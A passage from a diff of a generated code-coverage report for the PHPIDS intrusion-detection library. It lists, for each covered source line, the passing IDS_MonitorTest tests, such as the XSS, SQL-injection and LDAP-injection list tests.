class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel533": { - "header": "35 tests cover line 533", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel536": { - "header": "35 tests cover line 536", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel539": { - "header": "35 tests cover line 539", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel540": { - "header": "35 tests cover line 540", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel542": { - "header": "35 tests cover line 542", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel543": { - "header": "15 tests cover line 543", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel544": { - "header": "15 tests cover line 544", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel546": { - "header": "35 tests cover line 546", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel561": { - "header": "35 tests cover line 561", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel564": { - "header": "35 tests cover line 564", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel567": { - "header": "35 tests cover line 567", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel570": { - "header": "35 tests cover line 570", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel573": { - "header": "35 tests cover line 573", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel576": { - "header": "35 tests cover line 576", - "body": "<ul><li 